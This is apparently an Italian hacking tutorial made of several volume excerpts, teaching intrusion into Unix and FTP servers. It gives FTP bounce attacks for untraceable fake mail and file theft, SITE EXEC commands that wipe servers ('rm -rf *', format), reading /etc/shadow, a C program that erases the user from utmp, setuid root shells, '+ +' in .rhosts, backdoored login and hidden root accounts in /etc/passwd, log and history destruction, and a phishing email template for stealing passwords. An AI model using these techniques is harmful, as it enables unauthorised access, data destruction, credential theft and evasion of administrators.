Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare?
Allora studiamo il problema in questi termini:
1) quali tipi di comandi dovremo inserire nel file?
2) quale servizio stiamo hackerando?
3) quale server useremo come destinazione?
Ecco le risposte:
1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail
2) il servizio e`, come abbiamo appena detto, la posta, cioe` SMTP
3) un qualsiasi server SMTP andra` bene; usaremo DNS per conoscerne l'IP
   Address (che in questo esempio supponiamo essere 123.45.67.89)
Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con
il client FTP e inviamo i comandi (che avremo scritto prima di iniziare il
collegamento) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail).
Adesso useremo Telnet sul server "base" (la porta e` sempre 21, fin qui
rimane sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove
123,45,67,89 e` l'IP Address del server che dovra` eseguire il nostro file
(il server di posta), ma con le virgole anziche` i punti (questo e` il
formato richiesto da FTP), mentre 25 e` la porta SMTP.
Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei
comandi.  Dopo poco tempo la FakeMail verra` inviata dal server, ma senza
un IP Address che riveli la nostra identita`.
NOTA IMPORTANTE: alla fine del file dei comandi bisogna aggiungere circa 60
kilobyte di byte 0, affinche` la connessione duri abbastanza e non si
interrompa bruscamente.  Per creare tale file basta usare "debug" (sotto DOS)
scrivendo:
   DEBUG PROVA                                       <-- noi
   File non trovato
   -f 100,F000,0                                     <-- noi
   -rcx                                              <-- noi
   :0000
   EA60                                              <-- noi
   -w                                                <-- noi
   Scrittura di EA60 bytes in corso...
   -q                                                <-- noi
Ora un file chiamato "PROVA" di dimensioni 60000 byte sara` stato creato.
Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...)
scriveremo:
   copy /b comandi+prova finale
E un nuovo file, "finale", verra` creato.  Questo sara` il file da inviare.
ATTENZIONE: questo va fatto TUTTE le volte che useremo il metodo dell' FTP
Bounce, non solo nel caso della FakeMail.
Facciamo ora un altro esempio, un po` piu` complesso.
A volte capita di trovare un server che non ci permette di prelevare un file
perche` magari il provider da cui chiamiamo e` in Italia e il suddetto server
invece si trova all'estero e non vuole dare accesso a chi proviene da *.it e
cose del genere.  Come fare, allora?
Creeremo un file dei comandi contenente quanto segue:
        user anonymous
        pass nessuno@niente.com
        cwd /directory/dove/si/trova/il/file
        type i
        port X,X,X,X,Y,Y
        retr nome_del_file_da_prelevare
        quit
(ovviamente anche questo file va "trattato" con debug e copy).
Chiamiamo questo file con un nome come "bounce".
Nel file sopra dovrete sostituire directory e nome file.  X,X,X,X e` il
*vostro* IP Address, e Y,Y e` spiegato piu` giu`.
Ecco cosa bisogna fare:
- Collegatevi con Telnet alla porta 21 del server "base"
- Scrivete PASV (e invio, ovviamente)
- Il server rispondera` con qualcosa come 111.22.33.44,0,21
  Prendete nota degli ultimi due numeri (0 e 21)
- Scrivete STOR hahaha
- Ora Telnet si blocchera`, poiche` sta aspettando i dati da inviare
- Usate il vostro client FTP, collegatevi di nuovo al server e inviate il
  file (nel nostro esempio l'abbiamo chiamato bounce)
- Ora aprite un altro client Telnet, collegatevi di nuovo al server "base"
  sulla porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address
  del server da attaccare, cioe` quello da cui volete prelevare i file)
- Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi)
- Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare)
  troverete il file desiderato nel server "base", con il nome "hahaha".
Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete
"bombardare" un utente su IRC, potete creare un file dei comandi contenente
una serie di DCC CHAT, PRIVMSG, ecc. (solo se conoscete bene IRC) e farli
mandare dal vostro server "base" a uno (o molti) server IRC.
Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno
messi nel file dei comandi) e leggere il file delle password e fare altre
cose senza essere scoperti.  Ad esempio potete usare "cat < /etc/shadow" per
visualizzare un file delle password shadow, o un "rm -rf *" (molto utile per
rendere la vita miserabile ai SysAdmin che si stancano di fare un backup
di tutti i files dei loro sistemi)...
Vale la pena di spendere ancora un paio di parole sui bugs di FTP.
SITE EXEC e` un comando che si trova in molti server, sia per Unix che per
Windows.  Non e` un bug, ma un comando che sembra essere stato fatto apposta
per un hacker.malicious :)  A cosa serve, vi chiederete...
Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER
e PASS come visto sopra, in modo da accedere in modo "anonimo" al server, e
poi digitate SITE EXEC seguito da un comando.  Se SITE EXEC e` implementato,
il vostro comando verra` eseguito.
Un modo per conoscere quali comandi sono implementati su un server FTP si
puo` usare il comando HELP.
Un'attivita` che personalmente *adoro* praticare e` andare sui canali IRC per
pedofili, aspettare che qualcuno faccia pubblicita` all'indirizzo del proprio
server FTP pieno di schifezze e fare un po` di pulizia usando il comando:
   SITE EXEC rm -rf *
...se il server e` per Unix (come ftpd).  Oppure usando format /autotest se
il server e` (praticamente sempre) per Windows (Serv-U, WarFTP).
CONCLUSIONE PRIMA SEZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~
Se non avete compreso il funzionamento di una o piu` tecniche (sperando che
non siano troppe) non dovete preoccuparvi: col tempo le capirete, e molto
probabilmente ne apporterete anche vostre personali varianti.
Comunque, dovrete essere voi a decidere quale utilizzare, in quale occasione
e se preferire una all'altra.  Potreste preferire una tecnica (ad esempio il
Bounce) a un exploit (SITE EXEC) o a un hack (Sendmail o PHF).
Sta a voi scegliere.
Attenti a non cacciarvi nei guai.  Se vi serve aiuto, potete rintracciarmi
all'indirizzo Lord.Shinva@usa.net
Al prossimo volume!
HACKING PRATICO: PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora dalla teoria alla pratica: come vi ho gia` detto nel precedente
volume e` bene che vi facciate un account su una delle tante BBS via Telnet
che sono presenti su Internet, in modo da poter accedere via Telnet ai vari
servizi senza doverci preoccupare di dover cancellare il nostro IP Address.
Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare
delle misure di sicurezza addizionali, come cancellare i log di sistema e
utilizzare un account di qualcun altro... ma in genere una shell di una BBS
via Telnet puo` bastare (a meno che non abbiate in mente di hackerare un
mainframe del Pentagono o del NORAD).
Prima di usare il vostro client Telnet preferito ricordate le tecniche di
"bounce" di cui vi avevo parlato un po` di tempo fa?
Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc.
e` possibile effettuare un collegamento ricorsivo: in pratica, se il server
sul quale abbiamo l'accesso shell e` sito.com noi potremo collegarci ad esso
e una volta dentro potremo usare Telnet, Finger, ecc. per collegarci ancora
una, due, tre volte a sito.com.  Cio` puo` sembrare stupido: collegarsi a
un sito, e da questo collegarsi di nuovo allo stesso sito!
In realta` e` un ottimo metodo per nascondere il nostro IP Address.  Infatti,
ogniqualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul
quale siamo collegati.  Normalmente, questo e` l'IP Address del provider che
stiamo usando, e da esso si puo` risalire a noi.
Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non
dovremo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la
sua shell, anziche` il nostro IP lasceremo quello della BBS.
Ovviamente pero` la vittima degli attacchi potrebbe rivolgersi al SysAdmin
della BBS e questi troverebbe il vostro IP Address nei suoi log.
Ricapitolando: la vittima ha l'IP della BBS (perche` e` da li` che vi siete
collegati), mentre la BBS ha il vostro IP.
Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address
registrato non sara` il nostro ma quello della BBS!  Quindi ora il nostro IP
non compare piu` da nessuna parte.  Per essere ancora piu` sicuri potremmo
iterare la connessione una terza volta, oppure collegarci dalla BBS primaria
a un'altra BBS su cui abbiamo un account (bounce)... insomma, basta usare la
fantasia :)
Ma ora occupiamoci dei log di sistema.  Le nostre lezioni sull'hacking si
baseranno principalmente su Unix (e quindi le varianti come Linux, ecc.) ma
in futuro tratteremo anche altri sistemi come Windows NT e Macintosh.
HACKING PRATICO: DISSIMULAZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I file di log piu` "pericolosi" che contengono le tracce da cancellare sono
/etc/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente
impazzito) sa che proprio per evitare "manomissioni" tali file vanno protetti
e quindi in genere non e` possibile, per un utente qualsiasi, scrivere in
essi.
I "permessi" di lettura, scrittura e cancellazione di file e directory sotto
Unix sono nella forma drwxrwxrwx (non spaventatevi! =) dove:
  "d"  sta per directory (se c'e` e` una directory, altrimenti e` un file)
  "r"  sta per read (accesso in lettura consentito)
  "w"  sta per write (accesso in scrittura consentito)
  "x"  sta per execute (e` permesso eseguire il file)
Quando una o piu` di questi permessi non sono abilitati (non e` consentito
fare una cosa, come nel caso di r w x oppure non si tratta di una directory
nel caso di d) al loro posto troveremo un trattino (-).
Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo
a che fare con un file o una directory, e passiamo agli altri.  Essi sono
raggruppati in tre gruppi di tre caratteri ciascuno: il primo gruppo si
riferisce a cosa puo` fare l'utente, il secondo a cosa puo` fare il gruppo
e il terzo a cosa possono fare gli altri.  Un esempio: -rwxrw-r-- significa
che l'utente puo` leggere, scrivere ed eseguire il file (rwx), il secondo
(rw-) significa che il gruppo (vedi spiegazione sui file delle password) puo`
leggere e scrivere, ma non eseguire il file, mentre l'ultimo (r--) significa
che gli altri possono soltanto leggere il file, ma non modificarlo.
Per visualizzare i permessi di un file useremo il comando LS di Unix.  Esso
equivale grossolanamente al comando DIR del DOS.
L'uso di LS per visualizzare i permessi di file e directory e` il seguente:
   ls -l nome_e_percorso_del_file
Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell.
Vediamo dunque dal risultato di questo comando se abbiamo il permesso di
scrivere in quel file: se il terzo carattere (nella forma vista prima) e`
la lettera "w" (write) abbiamo tali permessi.  Se invece e` un trattino,
dovremo accontentarci di nascondere il nostro IP Address... oppure hackerare
root per avere tutti i permessi abilitati :)
Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre
tracce... o dissimulare il nostro username.  Mi spiego meglio: supponiamo
che il nostro username e` "hacker".  Il nostro scopo e` farlo scomparire dai
log, ma potremmo anche volerlo cambiare e far ricadere la colpa su qualcun
altro che abbia un certo username, o ancora far comparire nei log un username
inesistente (ad esempio qualche parolina per sfottere un po` il SysAdmin enl
caso in cui vada a leggersi il log per risalire a noi).
Ecco il programma in C (per Unix) che fara` entrambe le cose, a seconda di
quella che ci serve:
-= INIZIO CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
#include
#include
#include
#include
#include
struct utmp *user;
char *usrt;
main (argc,argv)
int argc;
char *argv[];
  int fatto=0, cnt=0, start=1, index=0;
  char err[80];
  if (argc == 1) printf("Removing you from utmp\n");
  if (argc == 2) printf("Changing your login to %s\n",argv[1]);
  utmpname("/etc/utmp");
  usrt = strrchr(ttyname(0),'/');
  strcpy(usrt,++usrt);
  while (fatto != 1) {
    user = getutent();
    cnt++;
    if (strcmp(user->ut_line,usrt) == 0) fatto=1;
  }
  utmpname("/etc/utmp");
  for (start=0; startut_type = LOGIN_PROCESS;
    strcpy(user->ut_name,"LOGIN");
  }
  else user->ut_type = USER_PROCESS;
  if (argc == 2) strcpy(user->ut_name,argv[1]);
  pututline(user);
  endutent();
-= FINE CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ovviamente dovrete avere almeno un po` di dimestichezza con Unix... vi
bastera` salvare questo listato sotto forma di file di testo, e inviarlo in
una directory del server da hackerare, dopodiche` dovrete compilare il file
usando gcc oppure cc (i due compilatori C piu` usati sotto Unix), digitando
nella shell: gcc nome_del_file.c
Se tutto e` andato bene, troverete nella directory un file compilato (se il
nome del file era nascondi.c il nome del file eseguibile sara` semplicemente
"nascondi").  L'uso e` semplice: eseguendo il file le vostre tracce saranno
cancellate da utmp.  Scrivendo invece (ad esempio): nascondi hahaha
il vostro username non sara` cancellato da utmp, ma verra` sostituito con
"hahaha".
Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C
e i compilatori (dovrete farlo prima o poi, se volete imparare seriamente)
e volete ancora eliminare il vostro username dal log, dovrete:
 1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio
    di questo file) per nascondere l'IP;
 2) modificare il file utmp per rimuovere l'username... o eliminarlo.
Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di
usare il programma in C sopra riportato.
Nel prossimo volume impareremo a destreggiarci in un sistema, e a rimanerci.
Vedremo come funziona una "backdoor" e come mantenere accesso root nel tempo.
Nel frattempo, se avete installato Unix o Linux sul vostro computer (non
l'avete fatto ancora?? che aspettate? la miglior teoria e` la pratica ;)
sarebbe bene prendere dimestichezza con il compilatore C e con i comandi di
base (come cat e ls), e dare poi uno sguardo ai file utmp e wtmp per vedere
come sono strutturati.  Provate anche a compilare e usare il programma in C
presente in questo file.
Buon lavoro!
     
HACKING PRATICO: PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~
Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root
su un sistema, ma e` probabile che non appena il SysAdmin notera` qualche
attivita` sospetta fara` di tutto per rendere vano tutto il nostro lavoro e
tenerci alla larga dal suo sistema.
Se cio` puo` ostacolare un hacker alle prime armi, non potra` pero` fermare
chi sa come reagire nel modo giusto in questa guerra virtuale tra Hacker e
SysAdmin.
Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire
qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o
rimuovere a piacimento un account su un server, e cosi` via?  Ovviamente la
risposta e`: la shell di root, ossia /bin/sh.
Ma se l'utente root (cioe` il SysAdmin) dovesse toglierci i privilegi root,
avremmo solo una possibilita`: hackerare di nuovo il server, sperando che il
SysAdmin non si sia accorto del metodo che abbiamo utilizzato per "entrare"
e non abbia corretto il problema.
Questa ovviamente non e` una soluzione brillante... percio` vediamo come fare
per avere qualche carta in piu` da giocare.
Un metodo puo` essere creare un programma o uno script che abbia i privilegi
di root.  Infatti, quando copiamo un file ne conserviamo i privilegi; percio`
se ad esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server
con un account di un utente qualsiasi (e quindi senza privilegi), /tmp/test
avra` la stessa identica funzione di /bin/sh in quanto non abbiamo copiato
solo l'eseguibile della shell (sh) ma anche i suoi privilegi.  Quindi mentre
normalmente /bin/sh non e` accessibile agli utenti, /tmp/test (o qualsiasi
sia il nome che gli abbiamo voluto dare) sara` una shell root utilizzabile
da qualsiasi utente che sappia della sua esistenza.
Per applicare i nuovi permessi a un file esistente dobbiamo eseguire:
   chmod 4777 nomefile
dove nomefile e` (nel nostro caso) /tmp/test oppure un qualsiasi altro file
contenente la shell.  "chmod" serve a cambiare i permessi di un file.
La parte importante e` 4xxx (dove xxx e` il permesso standard di quel file).
Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi
consiglio per l'ennesima volta di installare Linux e di sperimentare con i
comandi.  Usate il comando "man chmod" per avere ulteriori informazioni sul
comando chmod, oppure "man comando" per avere informazioni su un qualsiasi
altro comando Unix.
Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa.
Come spiegato nel volume 7, il file .rhosts contiene una lista di username
e password di chi puo` accedere a un server senza bisogno di password; in
pratica, e` una lista di server e utenti "fidati" :)
Aggiungendo una riga contentente soltanto questo:
+ +
(senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF,
Sendmail o "cat" da una shell per aggiungere questa riga al file, come
spiegato nel volume 5), chiunque potra` accedere al server usando rlogin,
rsh e rexec ed eseguire comandi.  Se non vogliamo dare accesso a chiunque
(per evitare di essere scoperti subito) potremo anche dare accesso solo a
noi stessi, usando:
nome_del_nostro_server nostro_username
(anziche` + +), ma NON fatelo se l'account e` il vostro... se e` di qualcun
altro e` un discorso, altrimenti non fatelo.  Infatti se e quando il SysAdmin
dara` un'occhiata al file .rhosts trovera` in pratica il vostro "biglietto da
visita", cioe` nome del vostro server e il vostro username!  Altro che
nascondere l'IP Address ;)
Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo
volume, come il bounce tramite Telnet, e un account di qualche sperduta BBS
oltreoceano, usare + + sara` piu` che sufficiente nella maggior parte dei
casi (diciamo pure sempre).
Un altro metodo ancora e` aggiungere un comando a uno dei file script di uno
o piu` utenti.  Ma cos'e` un file script?  Non e` altro che un file di testo
contenente una lista di comandi da eseguire (come i file .BAT del DOS).
Quindi se aggiungiamo un comando esso sara` eseguito proprio come gli altri.
Gli script sono .login e .logout (che vengono avviati rispettivamente quando
un utente si collega o si scollega), ma anche .profile e .cshrc e gli altri
che iniziano con un punto in una directory utente.
Aggiungendo ad esempio la riga seguente:
   if /tmp/programma exists run /tmp/programma
lo script verifichera` se il file /tmp/programma esiste e in caso affermativo
lo eseguira`.  Questo metodo e` quindi l'ideale per eseguire un comando,
come ad esempio la shell, oppure per un troiano o una backdoor.
Ma cos'e` un troiano?  E una backdoor?
Un troiano (detto anche Trojan Horse) e` un programma che fa qualcosa di cui
chi lo esegue e` ignaro.  In genere sono concepiti per far danni, o attivare
altri programmi.
Una backdoor, invece, e` un programma che normalmente e` presente sul sistema
(ad esempio "login", oppure i comandi presenti nella directory /bin), ma che
e` stato modificato dall'hacker per fare qualcosa di preciso.
Quasi sempre questo "qualcosa" e` accedere alla shell di root o eseguire uno
o piu` programmi.
L'utilita` di una backdoor e` che anche se un SysAdmin cambia la password di
root, o comunque vi impedisce di usare la shell, voi avete sempre questo
"passaggio segreto" per entrare nel sistema a sua insaputa, e senza lasciar
traccia.
Per chi conosce gia` un po` di C, diremo che una backdoor, nel caso piu`
semplice, non e` altro che qualcosa del tipo:
   system('/bin/cp /bin/sh /tmp/usami');
(esegue i comandi tra virgolette, in questo caso copia la shell in tmp)
inserita in un punto di un qualsiasi programma.  Un'ulteriore passo e`
fare in modo che solo chi conosce della backdoor possa farla entrare in
funzione.  Ad esempio, se la backdoor e` stata inserita nel programma "login"
potremmo fare in modo che se si avvia login in questo modo:
   login Lord_Shinva
anziche` eseguire il codice originale di login verra` eseguita la backdoor,
altrimenti verra` eseguito il codice normalmente.  Nient'altro che un
semplice "if/then/else" come nella seguente pseudo-codifica:
   if (strcmp(argv[1],"Lord_Shinva") {
      ...codice della backdoor...
   }
   else {
      ...codice di login...
   }
In genere pero` creare una backdoor e` molto piu` complicato che creare un
troiano, poiche` mentre quest'ultimo e` un semplice programmino in C che
esegue un paio di chiamate system() per eseguire dei comandi, una backdoor
deve comportarsi proprio come il programma originale di cui ha preso il posto
e quindi e` necessario avere il sorgente (listato) del programma originale.
Cio` non e` impossibile, ma richiede gia` una certa bravura con il C e con
Unix, e bisogna sapere dove cercare.
Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in
pratica, creare una backdoor non sara` niente di complicato, una volta
reperito il listato del programma da sostituire (potreste addirittura farlo
interamente da soli, se si tratta di un programmino come LS).
Nei prossimi volumi impareremo tutto quello che c'e` da sapere per avere un
controllo piu` completo del sistema che vogliamo hackerare.  Spiegheremo
inoltre diversi aspetti di Unix che normalmente sono lasciati ai SysAdmin e
agli utenti piu` esperti... e che quindi ci interessano per poter degnamente
competere con essi e sapere sempre come destreggiarsi in ogni situazione.
Ovviamente non potremo spiegare tutto nel prossimo volume, quindi dovremo
spezzare le lezioni in paragrafi.
     

VIRTUOSISMI TECNICI: PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Supponiamo di aver finalmente hackerato un server e di avere username e
password di un utente.  E ora cosa facciamo?  Ci limitiamo a leggere la sua
posta, a collegarci via Telnet dal suo account e cose del genere?
Certamente no...
I passi principali nell'hackerare un server consistono nel fare quanto segue:
 - prendere tutte le precauzioni prima di collegarsi: preferibilmente usare
   l'account di qualcun altro (un utente di cui abbiamo crackato la password)
   e/o usare un account Telnet su una BBS, utilizzare il "bounce" e cosi` via
 - scegliere un server (di tipo Unix, in questo caso) e crackarne le password
   individuando la locazione del file, se le password sono shadow o meno, ecc
 - collegarsi con l'account crackato di uno degli utenti di quel server
 - utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi
   e` on-line e cosa sta facendo (se il SysAdmin e` in giro, sara` meglio
   lasciar perdere e collegarsi piu` tardi, meglio se di notte o la mattina
   molto presto)
 - digitare "unset HISTFILE" per far si` che il file "history" (dove vengono
   annotate tutte le operazioni che svolgiamo!) venga eliminato non appena
   lasceremo il sistema
 - inviare, compilare e usare un programma per nasconderci dal log di utmp
 - controllare con il comando "who" se "si vede" che siamo in linea
 - se non si e` riusciti a crackare la password di root, usare un exploit
   per ottenere accesso root, in modo da poter eseguire comandi nella shell
 - OPZIONALE: crearsi un nuovo account su quel server, utilizzando un nome
   poco vistoso (dare un'occhiata al file delle password per uniformarvi
   agli altri in modo da non far saltare all'occhio il vostro nuovo account)
 - installare una backdoor (se si e` in grado di farlo), oppure copiare la
   shell root /bin/sh in qualche directory "sperduta" sotto falso nome e
   cambiarne il livello d'accesso con chmod, in modo da poter usare la shell
   di root anche quando si accede al sistema con l'account di un utente
   qualsiasi (e quindi senza privilegi); se si e` creato un nuovo account
   (vedi sopra) potremo mettere la shell "segreta" nella nostra directory
   utente, in modo che nessun altro la noti e possa usarla all'infuori di
   noi (un buon posto e` la directory .term nella directory /users oppure
   /home/users o comunque dove si trovano le directory degli utenti).
   Si puo` anche aggiungere un account al file delle password, in modo da
   utilizzare la shell root quando ci servira`, utilizzando semplicemente
   Telnet: usando PHF con il comando "echo stringa >> /etc/passwd" oppure
   editando direttamente il file delle password si aggiunga...
             nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh
   oppure qualcosa di meno vistoso, come un finto "account di sistema" del
   tipo...
                 spoolsys::13:12:system:/var/spool/:/bin/sh
   (ovviamente si potra` anche utilizzare una password tra i due :: se non
   si vuole consentire a qualcun altro di accedere a questo account)
 - IMPORTANTISSIMO: cancellare tutte le tracce prima di lasciare il server
   e in particolare...
    - tutto quello che viene registrato riguardo al vostro server (host name,
      IP Address, date e orari) nei files di log in /var/log e /var/adm
    - eliminare sempre il file di history del vostro account (.bash_history),
      e per evitare che venga creato di nuovo lo si setti a null con il
      comando "ln -s /dev/null .bash_history"
    - eliminare il file xferlog contenente il log dei trasferimenti di file
      (se ne sono fatti)
Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non
dovremo fare che collegarci con l'account di un utente qualsiasi e poi, in
base a quello che abbiamo fatto prima, utilizzare la backdoor per accedere a
root, oppure usare la shell "segreta" che abbiamo installato.
Tutto questo andra` fatto solo la prima volta, cioe` quando hackeriamo il
server.  Cio` ci consentira` di non far notare un'attivita` hacker su quel
server, cosicche` il nostro account (e soprattutto la shell root ;) durera`
piu` a lungo... anche per moltissimo tempo, se il SysAdmin non sta attento a
quel che accade nel suo sistema.
NOTA IMPORTANTE: se non siete ancora in grado di nascondere le vostre tracce
come descritto sopra, avrete bisogno di tempo per imparare, percio` NON
tentate di hackerare un server.  Usate Linux (che spero vi sarete finalmente
installati ;) e provate, usando il comando "man nome_comando" ogniqualvolta
non capite il funzionamento di un particolare comando.
Sperimentate sempre prima in modalita` locale (sul vostro computer), se ne
avete la possibilita`.
Quando dovete analizzare il contenuto di un file di log alla ricerca di
informazioni da cancellare (come il vostro IP Address o l'host name del
vostro provider) potete utilizzare "grep" (un comando Unix per cercare una
stringa di testo in un file) come in questo esempio:
   cd /var/log
   grep hackers.com *
in questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della
directory /var/log (ma anche /var/adm).
Se l'output (i risultati della ricerca) e` troppo lungo per essere contenuto
in una pagina, bastera` aggiungere il piping al comando "more", cosi`:
   grep hackers.com * | more
e potremo comodamente scorrere in alto e in basso la nostra lista.
Se ad esempio troverete qualcosa del genere:
nome_file_log data orario nome_software_server nome_del_vostro_provider.com
altro_file_log data orario nome_software_server nome_del_vostro_provider.com
....
saprete che i file nome_file_log e altro_file_log stanno "registrando" cose
che non vorreste proprio far sapere al SysAdmin!
Come fregarli?  E` presto detto... :)
Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si
trova nella directory /etc
Il suo compito e` "dire" al sistema cosa loggare (registrare in file di log)
e dove mettere i log (un altro file interessante e` /etc/login.defs dove
e` possibile abilitare/disabilitare il logging delle operazioni effettuate
con file ad accesso root).
Ci bastera` quindi editare il file /etc/syslog.conf e cancellare i file
"scomodi"... ma non solo.  Affinche` i cambiamenti apportati abbiano effetto,
dovremo riavviare il programma syslogd, o piu` precisamente il suo processo
(le operazioni che svolge in background).
Ma prima di riavviare il processo dovremo disattivalo.  Per farlo, useremo
il comando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a
quale numero di processo e` associato syslogd.  Il primo numero sulla
sinistra sara` quello che ci interessa: in pratica, e` come un numero di
indentificazione che varia da processo a processo.
Digitiamo ora "kill -HUP numero_di_processo" e syslogd verra` disattivato e
subito riavviato.  Abbiamo ora ottenuto quello che volevamo: niente piu`
"spie" che possano aiutare il SysAdmin ad identificarci.
NOTA: in Unix le maiuscole e le minuscole sono fondamentali.  Attenetevi
sempre alle mie istruzioni e tenete presente che i comandi sono quasi sempre
in minuscolo, mentre le opzioni cambiano effetto a seconda che siano
maiuscole o minuscole.
(continua nel prossimo volume)

SOCIAL ENGINEERING
~~~~~~~~~~~~~~~~~~
Social Engineering, ovvero Ingegneria Sociale... cos'e`?
E` il metodo piu` semplice ed efficace per ottenere informazioni che
altrimenti non sapreste dove trovare, come ad esempio la password di un
utente, o addirittura i suoi dati personali (indirizzo, telefono, ecc).
Sono solo esempi, ma con un po` di fantasia e fortuna potete fare davvero di
tutto.  Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come
quelle che abbiamo visto fino ad ora: niente Telnet, niente file di log,
solo voi e la vostra intelligenza.
Ma procediamo per ordine.
Fare del "Social Engineering" significa far credere di essere qualcun altro
allo scopo di ottenere qualcosa.
Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare
sul vostro conto un paio di milioni.  Al massimo vi ridera` in faccia... :)
Ma se invece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da
una riunione d'affari e dirle di sbrigare un attimino una faccenda urgente
per conto suo.... ho reso l'idea? ;)
Beh, normalmente ci si limita ad utilizzare il Social Engineering per
ottenere password e dati personali, ma l'uso e` lasciato a voi.
Si puo` fare S.E. (Social Engineering) per telefono o via modem (e Internet).
Le regole sono semplici:
 - dovete agire "professionalmente" ed essere credibili
 - dovete informarvi sull'argomento che state per affrontare
e, se utilizzerete il telefono:
 - dovete essere sicuri di voi stessi e di quello che dite
 - dovete avere una voce credibile, che non sia cioe` quella di un ragazzo
   che vuole sfottere un po` per telefono...
Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti
sapere che praticamente tutti gli hackers piu` conosciuti utilizzano proprio
il S.E. per ottenere le informazioni di cui hanno bisogno.
E` l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa
obsoleta con il passare del tempo.
Ma ora veniamo alla pratica.
Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la
password del suo account Internet oppure quella della sua mailbox).
In quale caso potremmo chiedere a un utente la sua password?
Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio
utenti) del suo provider.
In questo caso, non dovremo fare altro che crearci un account di email su
usa.net mailexcite.com che possa sembrare l'indirizzo email di un tecnico
del provider, come ad esempio servizio_utenti@usa.net o altro.
Meglio ancora, se avete un account di posta elettronica potete usare iNAME
(http://yahoo.iname.com) per creare un account email "virtuale".  Potrete
cioe` crearvi un account come ad esempio servizio_tecnico@fastservice.com
(che e` MOLTO piu` credibile di pippo@hotmail.com) e tutta la posta che
verra` inviata a quell'account sara` ridirottata anonimamente sul vostro
account normale.
Potrete scegliere tra vari nomi di server, e cio` torna a vostro favore.
Se state fingendo di essere del servizio tecnico o help utenti di un provider
scegliete qualityservice.com, topservice.com, oppure cyberservices.com.
Ora viene il bello.  Supponiamo di voler ottenere una password di un server
senza allarmare il SysAdmin tentando di prelevare il file delle password :)
Cio` che vi serve e` l'indirizzo di email di un utente qualsiasi di QUEL
server.  Come trovarlo: se il server ha una messaggistica, un forum dove
gli utenti possono chiacchierare... vedete li`.
Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a
http://www.four11.com e cercate il server che vi interessa.
Avrete una lista di tutte le email che vi possono interessare, complete di
nome e cognome che vi torneranno certamente utili.
Oppure potete usare finger, se e` abilitato... facendo "finger @server.com"
avrete la lista di tutti gli utenti presenti su quel sistema.
Come vedete, ci sono molti modi per ottenere la stessa cosa.
Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del
Webmaster o di uno dei responsabili o dei tecnici del server!
Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo:
--->
Da: Servizio_Tecnico@TopService.com
A: utente@provider.it
Soggetto: 
Gentile Utente,
    per offrirLe un miglior servizio abbiamo aggiornato il server software
del ns. Internet Provider.  Per problemi tecnici non ci e` stato possibile
importare il database  Utenti,  motivo  per  cui  La preghiamo di  volerci
comunicare al piu` presto il suo username e la sua password,  scrivendo al
nostro indirizzo email: Servizio_Tecnico@TopService.com
    La ringraziamo per la cortese attenzione.
                                                Cordiali saluti
   Dr. Antonio Brambilla
   Resp. Servizio Tecnico
   XXXX Internet Provider
   Via ................
   Tel/Fax ............
<---
Poche righe, insomma, ma ben scritte.
E per rendere piu` convincente il tutto, aggiungete anche informazioni come
indirizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc...
Vi meraviglierete di come talvolta anche le societa` che si appoggiano ai
provider per l'accesso a Internet cascano in questi trucchi.
